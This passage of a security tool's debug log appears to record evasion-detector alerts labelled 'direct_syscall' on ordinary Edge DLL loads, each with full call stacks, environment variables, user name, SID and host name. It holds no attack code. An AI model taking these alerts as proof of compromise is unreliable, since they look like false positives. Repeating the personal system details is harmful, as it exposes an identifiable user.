(x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4178910 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.9665105 +0100 CET + Params: base_address➜ 7ffcd6f60000, checksum➜ 2543119, default_address➜ 7ffcd6f60000, file_path➜ C:\Windows\System32\DWrite.dll, image_size➜ 2519040, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ffc8ed526e5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8fe05aa8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc9b68307e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateTestWebClientProxy|0x7ffc8e8093b5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cec40f8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec3717 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec2704 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec1a6b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0b46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4178980 + Pid: 7364 + Tid: 4644 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.9684022 +0100 CET + Params: base_address➜ 7ffcdba20000, checksum➜ 229548, default_address➜ 7ffcdba20000, file_path➜ C:\Windows\System32\profapi.dll, image_size➜ 167936, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcdaeba582 C:\Windows\System32\userenv.dll!GetAppContainerFolderPath|0x7ffcdaebf0a5 C:\Windows\System32\userenv.dll!GetNextFgPolicyRefreshInfo|0x7ffcdaeba22b C:\Windows\System32\userenv.dll!ExpandEnvironmentStringsForUserW|0x7ffcdc85361c C:\Windows\System32\shlwapi.dll!Ordinal464|0x7ffcd979abab C:\Windows\System32\windows.storage.dll!GetCurrentSessionId|0x7ffcd979a867 C:\Windows\System32\windows.storage.dll!GetCurrentSessionId|0x7ffcd979b807 C:\Windows\System32\windows.storage.dll!SHGetSpecialFolderPathW|0x7ffcd974fd62 C:\Windows\System32\windows.storage.dll!IsRemovableDevicePath|0x7ffcd974eea0 C:\Windows\System32\windows.storage.dll!IsRemovableDevicePath|0x7ffcd9750735 C:\Windows\System32\windows.storage.dll!SHGetFolderPathEx|0x7ffcd98340ec C:\Windows\System32\windows.storage.dll!PathIsEqualOrSubFolderOfKnownFolders|0x7ffcd97728e2 C:\Windows\System32\windows.storage.dll!SHDefExtractIconW|0x7ffcd97723ef C:\Windows\System32\windows.storage.dll!SHDefExtractIconW|0x7ffcd98470e5 C:\Windows\System32\windows.storage.dll!Ordinal2002|0x7ffcd975a35c C:\Windows\System32\windows.storage.dll!SHGetKnownFolderItem|0x7ffcc46fb42f C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc46fbc41 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc4724877 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc47257e2 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcdda4b686 C:\Windows\System32\SHCore.dll!SHTaskPoolQueueTask|0x7ffcc4723d43 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc47255ac C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc46fbd88 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc4722784 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc47226fe C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffc8e8f279e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e8f25e2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e8f2222 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e8f21aa C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ebaa5d1 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e735042 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d752 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d6a6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d460224 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d460058 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45f954 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45f682 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cdb500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce05198 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce29a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4179064 + Pid: 7364 + Tid: 4644 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.9736833 +0100 CET + Params: base_address➜ 7ffcdab50000, checksum➜ 339222, default_address➜ 7ffcdab50000, file_path➜ C:\Windows\System32\sspicli.dll, image_size➜ 299008, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 